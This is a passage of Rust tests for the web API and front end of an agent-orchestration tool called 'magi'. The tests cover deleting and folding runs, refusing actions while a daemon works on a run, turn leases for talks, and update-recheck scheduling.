22023        q.put(&mut t3).expect("put t3");
22024        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22025        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22026        assert_eq!(res.status, 204);
22027        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22028        assert!(
22029            q.claim(&t3.id).is_ok(),
22030            "the stale lock went with it, so the id is claimable again"
22031        );
22032
22033        // 4. Missing id returns 404
22034        let res = fx.delete("/api/queue/nonexistent").await;
22035        assert_eq!(res.status, 404);
22036    }
22037
22038    #[tokio::test]
22039    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22040        let fx = Fixture::start().await;
22041        let runs = fx.runs();
22042
22043        // 1. Finished and folded run can be deleted along with artifacts
22044        let run_id = "20260901-000000-fold";
22045        let mut state = RunState::new(
22046            PathBuf::from("/repo"),
22047            "main".to_owned(),
22048            "abc".to_owned(),
22049            "instruction".to_owned(),
22050            Config::default(),
22051        );
22052        state.id = run_id.to_owned();
22053        state.status = RunStatus::Merged;
22054        state.candidates.push(crate::run::Candidate {
22055            index: 0,
22056            label: 'A',
22057            agent: "a".to_owned(),
22058            branch: "b".to_owned(),
22059            worktree: PathBuf::from("/w"),
22060            summary: String::new(),
22061            stat: String::new(),
22062            files: 1,
22063            commits: 1,
22064            empty: false,
22065            failed: None,
22066            verified_noop: None,
22067            duration_ms: 0,
22068            folded: true,
22069        });
22070        let dir = runs.join(run_id);
22071        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22072        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22073            .expect("write artifact");
22074        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22075            .expect("write run.json");
22076
22077        // Delete by short id
22078        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22079        assert_eq!(res.status, 204);
22080        assert!(res.body.is_empty(), "204 has no body");
22081        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22082
22083        // 2. A run a live daemon is working on is refused with 409. The
22084        // heartbeat is what makes it refusable: an unfinished run with no
22085        // daemon behind it is a leftover from a killed process, and case 1
22086        // above would otherwise be impossible to tell apart from this one.
22087        let run_running = "20260901-000000-rung";
22088        write_run(&runs, run_running, RunStatus::Prep);
22089        let mut beat = crate::daemon::Status::new();
22090        beat.current = vec![crate::daemon::Current {
22091            worker: None,
22092            task: "20260901-000000-task".to_owned(),
22093            run: run_running.to_owned(),
22094        }];
22095        beat.updated_at = jiff::Timestamp::now();
22096        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22097            .expect("publish a heartbeat");
22098        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22099        assert_eq!(res.status, 409);
22100        assert!(
22101            res.json()["error"]
22102                .as_str()
22103                .unwrap()
22104                .contains("live daemon"),
22105            "the refusal must say who is holding it"
22106        );
22107        assert!(
22108            runs.join(run_running).exists(),
22109            "a run in flight keeps its directory"
22110        );
22111
22112        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22113        let run_unfolded = "20260901-000000-unfd";
22114        let mut state2 = RunState::new(
22115            PathBuf::from("/repo"),
22116            "main".to_owned(),
22117            "abc".to_owned(),
22118            "instruction".to_owned(),
22119            Config::default(),
22120        );
22121        state2.id = run_unfolded.to_owned();
22122        state2.status = RunStatus::Ready;
22123        state2.candidates.push(crate::run::Candidate {
22124            index: 0,
22125            label: 'A',
22126            agent: "a".to_owned(),
22127            branch: "b".to_owned(),
22128            worktree: PathBuf::from("/w"),
22129            summary: String::new(),
22130            stat: String::new(),
22131            files: 1,
22132            commits: 1,
22133            empty: false,
22134            failed: None,
22135            verified_noop: None,
22136            duration_ms: 0,
22137            folded: false,
22138        });
22139        let dir2 = runs.join(run_unfolded);
22140        std::fs::create_dir_all(&dir2).expect("create dir2");
22141        std::fs::write(
22142            dir2.join("run.json"),
22143            serde_json::to_string(&state2).unwrap(),
22144        )
22145        .expect("write run.json");
22146
22147        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22148        assert_eq!(res.status, 409);
22149        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22150        assert!(dir2.exists(), "unfolded run directory is kept");
22151
22152        // 4. Missing id returns 404
22153        let res = fx.delete("/api/runs/nonexistent").await;
22154        assert_eq!(res.status, 404);
22155    }
22156
22157    /// The queue tiles on the Stats tab must render even on a home with no
22158    /// runs at all: queue state is not derived from run history, so hiding
22159    /// the whole dashboard body behind "no runs yet" would drop the one
22160    /// thing this tab promises unconditionally (queued/running/held/done).
22161    /// A DOM-level test would need a browser this suite does not have, so
22162    /// this pins the same invariant textually: `renderStatsQueue` is called
22163    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22164    /// block that gates the run-derived panels.
22165    #[test]
22166    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22167        let start = APP_JS
22168            .find("function renderStats() {")
22169            .expect("renderStats");
22170        let end = start
22171            + APP_JS[start..]
22172                .find("function statsTile(")
22173                .expect("the next top-level function");
22174        let body = &APP_JS[start..end];
22175
22176        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22177        let gate_end = gate_start
22178            + body[gate_start..]
22179                .find("}\n  renderStatsQueue")
22180                .expect("the gate's own closing brace, right before the unconditional call");
22181        let gated = &body[gate_start..gate_end];
22182
22183        assert_eq!(
22184            body.matches("renderStatsQueue(").count(),
22185            1,
22186            "renderStats must call renderStatsQueue exactly once: {body}"
22187        );
22188        assert!(
22189            !gated.contains("renderStatsQueue"),
22190            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22191             run-derived panels on an empty run history - the queue panel has to render \
22192             regardless: {gated}"
22193        );
22194    }
22195
22196    #[test]
22197    fn web_ui_delete_contract_in_front_end() {
22198        // 1. API block has both delete endpoints
22199        assert!(APP_JS.contains("deleteRun:"));
22200        assert!(APP_JS.contains("deleteTask:"));
22201
22202        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22203        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22204            ..APP_JS.find("function renderRuns").unwrap()];
22205        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22206
22207        // 3. Run detail has delete entry and reasons
22208        assert!(APP_JS.contains("renderRunDelete"));
22209        assert!(APP_JS.contains("runDeleteReason"));
22210        assert!(APP_JS.contains("magi fold"));
22211        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22212
22213        // 4. Two-step delete arming and focus on Cancel
22214        assert!(APP_JS.contains("cancel.focus"));
22215        assert!(APP_JS.contains("armedRunDelete"));
22216        assert!(APP_JS.contains("renderTaskDeleteBox"));
22217        assert!(APP_JS.contains("armed${cap(key)}"));
22218
22219        // 5. Running task has disabled delete
22220        assert!(APP_JS.contains("disabled: status === \"running\""));
22221    }
22222
22223    /// Every element a run card's updater reaches for must be in the `refs`
22224    /// the builder handed it.
22225    ///
22226    /// `createRunCard` builds its elements, appends them to the card, and then
22227    /// lists them again in `row.refs`. That second list is the one the updater
22228    /// uses, and nothing connects the two - an element can be built, appended
22229    /// and rendered, and still be missing from `refs`. `superseded` was, for
22230    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
22231    /// exception took `syncList` with it, and the deck showed
22232    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
22233    /// line is computed before the cards, which is why the failure looked like
22234    /// a server that had lost its runs rather than a front end that had
22235    /// stopped rendering them.
22236    ///
22237    /// A `cargo test` cannot execute the front end, so this reads the two
22238    /// halves out of the source and compares them as sets. It is not a check
22239    /// on the wording of either list: adding an element, renaming one, or
22240    /// reordering them all keeps this passing, and only using one the builder
22241    /// never published fails it.
22242    #[test]
22243    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22244        let build = APP_JS
22245            .find("function createRunCard")
22246            .expect("createRunCard exists");
22247        let update = APP_JS
22248            .find("function updateRunCard")
22249            .expect("updateRunCard exists");
22250        let end = APP_JS
22251            .find("function renderRuns")
22252            .expect("renderRuns exists");
22253
22254        // The builder's published set: the object literal assigned to `refs`.
22255        let builder = &APP_JS[build..update];
22256        let open = builder.find("refs = {").expect("createRunCard sets refs");
22257        let literal = &builder[open + "refs = {".len()..];
22258        let close = literal.find('}').expect("the refs literal is closed");
22259        let published: HashSet<&str> = literal[..close]
22260            .split(',')
22261            // `name` and `name: value` both bind `name`.
22262            .filter_map(|entry| entry.split(':').next())
22263            .map(str::trim)
22264            .filter(|name| !name.is_empty())
22265            .collect();
22266        assert!(
22267            published.len() > 5,
22268            "the refs literal did not parse into names: {published:?}"
22269        );
22270
22271        // What the updaters reach for: every `r.<name>`, where `r` is the
22272        // `const r = row.refs` alias both functions open with.
22273        let mut used: Vec<&str> = Vec::new();
22274        let updaters = &APP_JS[update..end];
22275        for (at, _) in updaters.match_indices("r.") {
22276            // `r` must be the whole identifier, not the tail of another one
22277            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22278            let before = updaters[..at].chars().next_back();
22279            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22280                continue;
22281            }
22282            let rest = &updaters[at + 2..];
22283            let len = rest
22284                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22285                .unwrap_or(rest.len());
22286            if len > 0 {
22287                used.push(&rest[..len]);
22288            }
22289        }
22290        assert!(
22291            used.len() > 5,
22292            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22293        );
22294
22295        let missing: Vec<&str> = used
22296            .iter()
22297            .copied()
22298            .filter(|name| !published.contains(name))
22299            .collect();
22300        assert!(
22301            missing.is_empty(),
22302            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22303             never put in `refs` - every card will throw and the list will \
22304             render empty under a count line that says otherwise. Published: \
22305             {published:?}"
22306        );
22307    }
22308
22309    #[tokio::test]
22310    async fn folding_from_the_phone_reports_what_it_removed() {
22311        let fx = Fixture::start().await;
22312        let runs = fx.runs();
22313
22314        // A run with no candidates has nothing to fold, which is a 200 with an
22315        // honest count rather than an error: the operator asked for the trees
22316        // to be gone and they are.
22317        let id = "20260901-000000-fold";
22318        write_run(&runs, id, RunStatus::Stalled);
22319        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22320        assert_eq!(res.status, 200);
22321        assert_eq!(res.json()["removed_count"], 0);
22322        assert_eq!(res.json()["run"], id);
22323        assert!(
22324            runs.join(id).exists(),
22325            "a fold keeps the run's record; only the worktrees go"
22326        );
22327    }
22328
22329    #[tokio::test]
22330    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22331        let fx = Fixture::start().await;
22332        let runs = fx.runs();
22333        let wt = fx.home.path().join("wt").join("magi").join("dead");
22334        let id = "20260901-000000-dead";
22335        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22336        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22337        std::fs::create_dir_all(&wt).expect("worktree dir");
22338
22339        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22340        assert_eq!(res.status, 200, "{}", res.body);
22341        assert!(
22342            res.json()["removed_count"].as_u64().unwrap() > 0,
22343            "the worktree this build could not read a state for still went"
22344        );
22345        assert!(
22346            !runs.join(id).exists(),
22347            "an unreadable run has no candidate list to fold selectively, so \
22348             the whole record goes - same as `magi fold` on the CLI"
22349        );
22350    }
22351
22352    #[tokio::test]
22353    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22354        let fx = Fixture::start().await;
22355        let runs = fx.runs();
22356        let wt = fx.home.path().join("wt").join("magi").join("gone");
22357        let id = "20260901-000000-gone";
22358        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22359        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22360        std::fs::create_dir_all(&wt).expect("worktree dir");
22361
22362        let res = fx.delete(&format!("/api/runs/{id}")).await;
22363        assert_eq!(res.status, 204, "{}", res.body);
22364        assert!(!runs.join(id).exists(), "the broken record is gone");
22365        assert!(!wt.exists(), "its worktree is gone too");
22366    }
22367
22368    #[tokio::test]
22369    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22370        let fx = Fixture::start().await;
22371        let runs = fx.runs();
22372        let id = "20260901-000000-live";
22373        write_run(&runs, id, RunStatus::Implementing);
22374
22375        let mut beat = crate::daemon::Status::new();
22376        beat.current = vec![crate::daemon::Current {
22377            worker: None,
22378            task: "20260901-000000-task".to_owned(),
22379            run: id.to_owned(),
22380        }];
22381        beat.updated_at = jiff::Timestamp::now();
22382        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22383            .expect("publish a heartbeat");
22384
22385        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22386        assert_eq!(res.status, 409);
22387        assert!(
22388            res.json()["error"]
22389                .as_str()
22390                .unwrap()
22391                .contains("live daemon"),
22392            "folding under a running agent would pull its worktree away"
22393        );
22394    }
22395
22396    #[tokio::test]
22397    async fn fold_merged_requires_a_pr_url() {
22398        let fx = Fixture::start().await;
22399        let runs = fx.runs();
22400        let id = "20260901-000000-nourl";
22401        write_run(&runs, id, RunStatus::Blocked);
22402
22403        let res = fx
22404            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22405            .await;
22406        assert_eq!(res.status, 400, "{}", res.body);
22407
22408        let blank = fx
22409            .post(
22410                &format!("/api/runs/{id}/fold-merged"),
22411                Some(r#"{"pr_url":"   "}"#),
22412            )
22413            .await;
22414        assert_eq!(blank.status, 400, "{}", blank.body);
22415    }
22416
22417    #[tokio::test]
22418    async fn fold_merged_is_404_for_an_unknown_run() {
22419        let fx = Fixture::start().await;
22420        let res = fx
22421            .post(
22422                "/api/runs/nosuchrun/fold-merged",
22423                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22424            )
22425            .await;
22426        assert_eq!(res.status, 404, "{}", res.body);
22427    }
22428
22429    #[tokio::test]
22430    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22431        let fx = Fixture::start().await;
22432        let runs = fx.runs();
22433        let id = "20260901-000000-livemerge";
22434        write_run(&runs, id, RunStatus::Blocked);
22435
22436        let mut beat = crate::daemon::Status::new();
22437        beat.current = vec![crate::daemon::Current {
22438            worker: None,
22439            task: "20260901-000000-task".to_owned(),
22440            run: id.to_owned(),
22441        }];
22442        beat.updated_at = jiff::Timestamp::now();
22443        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22444            .expect("publish a heartbeat");
22445
22446        let res = fx
22447            .post(
22448                &format!("/api/runs/{id}/fold-merged"),
22449                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22450            )
22451            .await;
22452        assert_eq!(res.status, 409, "{}", res.body);
22453        assert!(
22454            res.json()["error"]
22455                .as_str()
22456                .unwrap()
22457                .contains("live daemon"),
22458            "correcting a run's merge underneath a running agent would race \
22459             whatever it is doing to the same `status`/`merge` fields"
22460        );
22461    }
22462
22463    /// A pull request `gh` cannot even ask about (no such remote, no such
22464    /// repository) must never be recorded as a merge on a guess - the same
22465    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22466    /// command line, reached here through the phone route instead.
22467    #[tokio::test]
22468    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22469        let fx = Fixture::start().await;
22470        let runs = fx.runs();
22471        let id = "20260901-000000-unconfirmed";
22472        write_run(&runs, id, RunStatus::Blocked);
22473
22474        let res = fx
22475            .post(
22476                &format!("/api/runs/{id}/fold-merged"),
22477                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22478            )
22479            .await;
22480        assert_eq!(res.status, 400, "{}", res.body);
22481        assert_eq!(
22482            read_run(&runs, id).unwrap().status,
22483            RunStatus::Blocked,
22484            "a pull request that could not be confirmed merged must leave \
22485             the run exactly where it was"
22486        );
22487    }
22488
22489    #[tokio::test]
22490    async fn terminal_runs_cannot_be_resumed() {
22491        let fx = Fixture::start().await;
22492        let runs = fx.runs();
22493
22494        for (status, word) in [
22495            (RunStatus::Merged, "merged"),
22496            (RunStatus::Ready, "ready"),
22497            (RunStatus::Failed, "failed"),
22498        ] {
22499            let id = format!("20260901-000000-{}", &word[..4]);
22500            write_run(&runs, &id, status);
22501            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22502            assert_eq!(res.status, 409, "{word} must not be resumable");
22503        }
22504    }
22505
22506    #[tokio::test]
22507    async fn resume_is_refused_while_the_loop_is_running() {
22508        let fx = Fixture::start().await;
22509        let runs = fx.runs();
22510        let stalled = "20260901-000000-stal";
22511        write_run(&runs, stalled, RunStatus::Stalled);
22512
22513        // The loop is busy with a *different* run, and that is still a
22514        // refusal: a manual resume must never race whatever the loop itself
22515        // is already driving, whether that is one run or several.
22516        let mut beat = crate::daemon::Status::new();
22517        beat.current = vec![crate::daemon::Current {
22518            worker: None,
22519            task: "20260901-000000-task".to_owned(),
22520            run: "20260901-000000-othr".to_owned(),
22521        }];
22522        beat.updated_at = jiff::Timestamp::now();
22523        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22524            .expect("publish a heartbeat");
22525
22526        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22527        assert_eq!(res.status, 409);
22528        let err = res.json()["error"].as_str().unwrap().to_owned();
22529        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22530        assert!(err.contains("stop it first"), "{err}");
22531    }
22532
22533    #[test]
22534    fn a_run_cannot_be_resumed_twice_at_once() {
22535        let home = TempDir::new().expect("temp home");
22536        let ui = Ui::new(
22537            Queue::at(home.path().join("queue")),
22538            Questions::at(home.path().join("questions")),
22539            Talks::at(home.path().join("talks")),
22540            home.path().join("runs"),
22541            home.path().to_path_buf(),
22542            PathBuf::from("/repo"),
22543        )
22544        .with_worktrees_root(home.path().join("wt"));
22545        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22546        let again = ui.begin_resume("20260901-000000-once");
22547        assert!(again.is_err(), "a second tap must not start a second graph");
22548        drop(first);
22549        assert!(
22550            ui.begin_resume("20260901-000000-once").is_ok(),
22551            "and the claim is released when the attempt ends"
22552        );
22553    }
22554
22555    #[test]
22556    fn talk_thinking_tracks_only_its_held_turn_claim() {
22557        let home = TempDir::new().expect("temp home");
22558        let ui = Ui::new(
22559            Queue::at(home.path().join("queue")),
22560            Questions::at(home.path().join("questions")),
22561            Talks::at(home.path().join("talks")),
22562            home.path().join("runs"),
22563            home.path().to_path_buf(),
22564            PathBuf::from("/repo"),
22565        )
22566        .with_worktrees_root(home.path().join("wt"));
22567        let id = "20260901-000000-once";
22568
22569        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22570        let turn = ui.begin_talk_turn(id).expect("claim turn");
22571        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22572        assert!(
22573            !ui.is_thinking("20260901-000000-other"),
22574            "one talk's turn does not make another talk busy"
22575        );
22576        drop(turn);
22577        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22578    }
22579
22580    #[test]
22581    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22582        let home = TempDir::new().expect("temp home");
22583        let talks = Talks::at(home.path().join("talks"));
22584        let ui = Ui::new(
22585            Queue::at(home.path().join("queue")),
22586            Questions::at(home.path().join("questions")),
22587            talks.clone(),
22588            home.path().join("runs"),
22589            home.path().to_path_buf(),
22590            PathBuf::from("/repo"),
22591        )
22592        .with_worktrees_root(home.path().join("wt"));
22593        let id = "20260901-000000-cross";
22594
22595        let other = Talks::at(home.path().join("talks"))
22596            .claim_turn(id)
22597            .expect("claim")
22598            .expect("the other process wins");
22599        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22600        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22601        assert!(
22602            matches!(
22603                ui.begin_talk_turn_unless_pending(id).expect("start"),
22604                TalkTurnStart::Foreign
22605            ),
22606            "a foreign holder is refused, not queued behind"
22607        );
22608        assert!(
22609            !ui.talk_turns.lock().unwrap().live.contains(id),
22610            "a refused claim leaves no in-process entry behind"
22611        );
22612        drop(other);
22613        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22614        assert!(talks.turn_held(id), "the web turn holds the lease");
22615        drop(turn);
22616        assert!(
22617            !talks.turn_held(id),
22618            "dropping the guard releases the lease"
22619        );
22620    }
22621
22622    fn consult_question(ui: &Ui) -> Question {
22623        let mut q = Question::new(
22624            "20260901-000000-consult".to_owned(),
22625            "implement".to_owned(),
22626            "impl-A".to_owned(),
22627            "Which backend?".to_owned(),
22628            String::new(),
22629            vec!["SQLite".to_owned(), "Redis".to_owned()],
22630        );
22631        ui.questions.put(&mut q).expect("question");
22632        q
22633    }
22634
22635    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22636        (
22637            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22638            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22639        )
22640    }
22641
22642    #[tokio::test]
22643    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22644        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22645        let q = consult_question(&ui);
22646        let talk = ui.talks.get(&id).expect("talk");
22647        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22648        let before = consult_snapshot(&ui, &q, &id);
22649        let cli_talks = Talks::at(ui.home.join("talks"));
22650        assert_eq!(
22651            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22652                .await
22653                .expect("CLI starter"),
22654            crate::consult::Started::Busy
22655        );
22656        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22657        assert!(ui.is_thinking(&id));
22658        drop(guard);
22659        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22660    }
22661
22662    #[tokio::test]
22663    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22664        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22665        let q = consult_question(&ui);
22666        let talk = ui.talks.get(&id).expect("talk");
22667        let started = tmp.path().join("started");
22668        let release = tmp.path().join("release");
22669        let script = tmp.path().join("consult-agent.sh");
22670        std::fs::write(
22671            &script,
22672            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22673        )
22674        .expect("script");
22675        let mut cfg = stub_config();
22676        cfg.agents[0].id = "mock".to_owned();
22677        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22678        cfg.agents[0].env = std::collections::BTreeMap::from([
22679            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22680            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22681        ]);
22682        let questions = ui.questions.clone();
22683        let cli_talks = Talks::at(ui.home.join("talks"));
22684        let cli_q = q.clone();
22685        let turn = tokio::spawn(async move {
22686            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22687        });
22688        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22689            while !started.exists() {
22690                tokio::time::sleep(Duration::from_millis(10)).await;
22691            }
22692        })
22693        .await;
22694        // Always release and join the agent, even if readiness or the web
22695        // request fails, so a failed assertion cannot leave a turn behind.
22696        let refusal = if ready.is_ok() {
22697            let before = consult_snapshot(&ui, &q, &id);
22698            let result = talk_say(
22699                State(Arc::clone(&ui)),
22700                Path(id.clone()),
22701                Ok(Json(NewTalkTurn {
22702                    reply_to: None,
22703                    text: "another message".to_owned(),
22704                    attachments: Vec::new(),
22705                })),
22706            )
22707            .await;
22708            Some((result, before, consult_snapshot(&ui, &q, &id)))
22709        } else {
22710            None
22711        };
22712        std::fs::write(&release, "").expect("release agent");
22713        let done = turn.await.expect("join CLI turn");
22714        ready.expect("agent started before deadline");
22715        let (result, before, after) = refusal.expect("web request");
22716        let error = result.expect_err("web must refuse the CLI's turn");
22717        assert_eq!(error.status, StatusCode::CONFLICT);
22718        assert!(error.message.contains("a turn is already running"));
22719        assert_eq!(
22720            after, before,
22721            "refusal preserves question, draft and history"
22722        );
22723        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22724        let guard = ui
22725            .begin_talk_turn(&id)
22726            .expect("web claim")
22727            .expect("free again");
22728        drop(guard);
22729    }
22730
22731    #[test]
22732    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22733        let home = TempDir::new().expect("temp home");
22734        let talks = Talks::at(home.path().join("talks"));
22735        let ui = Ui::new(
22736            Queue::at(home.path().join("queue")),
22737            Questions::at(home.path().join("questions")),
22738            talks.clone(),
22739            home.path().join("runs"),
22740            home.path().to_path_buf(),
22741            PathBuf::from("/repo"),
22742        )
22743        .with_worktrees_root(home.path().join("wt"));
22744        let id = "20260901-000000-order";
22745        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22746        // Hold the slot mutex so the drop can finish the lease but not the slot.
22747        let slots = ui.talk_turns.lock().unwrap();
22748        let dropper = std::thread::spawn(move || drop(turn));
22749        let start = std::time::Instant::now();
22750        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22751            std::thread::sleep(Duration::from_millis(5));
22752        }
22753        assert!(!talks.turn_held(id), "the lease is released first");
22754        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22755        drop(slots);
22756        dropper.join().expect("join");
22757        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22758    }
22759
22760    #[tokio::test]
22761    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22762        let fx = Fixture::start().await;
22763        let mut beat = crate::daemon::Status::new();
22764        beat.worker_protocol = None;
22765        beat.pid = 4321;
22766        beat.updated_at = jiff::Timestamp::now();
22767        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22768            .expect("publish a heartbeat");
22769
22770        let res = fx.post("/api/upgrade", None).await;
22771        assert_eq!(res.status, 409);
22772    }
22773
22774    /// [`should_spawn_recheck`] must refuse for the same two reasons
22775    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22776    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22777    /// Purely a predicate over config and the environment - no network, no
22778    /// disk, no runtime - so unlike the fixture-based tests around it this
22779    /// one needs neither.
22780    #[test]
22781    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22782        assert!(!should_spawn_recheck(&crate::config::Update {
22783            mode: UpdateMode::Off,
22784            interval: None,
22785            auto_restart: false,
22786        }));
22787
22788        // SAFETY: single-threaded as far as this variable goes, the same
22789        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22790        unsafe {
22791            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22792        }
22793        let killed = should_spawn_recheck(&crate::config::Update {
22794            mode: UpdateMode::Notify,
22795            interval: None,
22796            auto_restart: false,
22797        });
22798        unsafe {
22799            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22800        }
22801        assert!(
22802            !killed,
22803            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22804             one-time startup check"
22805        );
22806
22807        assert!(should_spawn_recheck(&crate::config::Update {
22808            mode: UpdateMode::Notify,
22809            interval: None,
22810            auto_restart: false,
22811        }));
22812    }
22813
22814    /// [`recheck_poll_period`] must track a configured `[update] interval`
22815    /// shorter than its own default ceiling - a fixed sleep here would leave
22816    /// an operator's short interval waiting on the next wake-up instead of on
22817    /// `should_check`, which is the same bug this whole task exists to fix,
22818    /// just one level down.
22819    #[test]
22820    fn recheck_poll_period_tracks_a_short_configured_interval() {
22821        let short = crate::config::Update {
22822            mode: UpdateMode::Notify,
22823            interval: Some("1m".to_owned()),
22824            auto_restart: false,
22825        };
22826        let period = recheck_poll_period(&short);
22827        assert!(
22828            period <= Duration::from_secs(30),
22829            "a one-minute interval must wake the task far sooner than the \
22830             default ceiling, or the deck would not notice within the \
22831             interval the operator configured: got {period:?}"
22832        );
22833
22834        let default = crate::config::Update {
22835            mode: UpdateMode::Notify,
22836            interval: None,
22837            auto_restart: false,
22838        };
22839        assert_eq!(
22840            recheck_poll_period(&default),
22841            UPDATE_RECHECK_POLL_MAX,
22842            "the default day-long interval should poll at the (capped) \
22843             ceiling rather than needlessly often"
22844        );
22845    }
22846
22847    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22848    /// same throttle `updater::Checker::should_check` already gives the
22849    /// CLI's notify mode. Built over an explicit state file via
22850    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22851    /// write the operator's real `last_update_check.json` - and therefore
22852    /// cannot flake on whatever that file happens to say on the machine
22853    /// running the test.
22854    #[test]
22855    fn recheck_skips_the_network_before_the_interval_elapses() {
22856        let dir = TempDir::new().expect("temp dir");
22857        let path = dir.path().join("state.json");
22858        let state = kaishin::UpdateCheckState {
22859            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22860            last_known_latest: None,
22861            last_known_url: None,
22862        };
22863        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22864
22865        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22866        assert!(
22867            !update_recheck_due(&checker, None),
22868            "a check made moments ago must not be repeated before the \
22869             configured interval elapses"
22870        );
22871    }
22872
22873    /// An upgrade this deck already started must not be raced by a recheck
22874    /// that discovers a newer release mid-install - regardless of what
22875    /// `should_check` says, which is why the state file here is missing
22876    /// entirely: read alone, that alone would answer "never checked, go
22877    /// ahead".
22878    #[test]
22879    fn recheck_defers_to_an_upgrade_already_in_flight() {
22880        let dir = TempDir::new().expect("temp dir");
22881        let path = dir.path().join("state.json");
22882        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
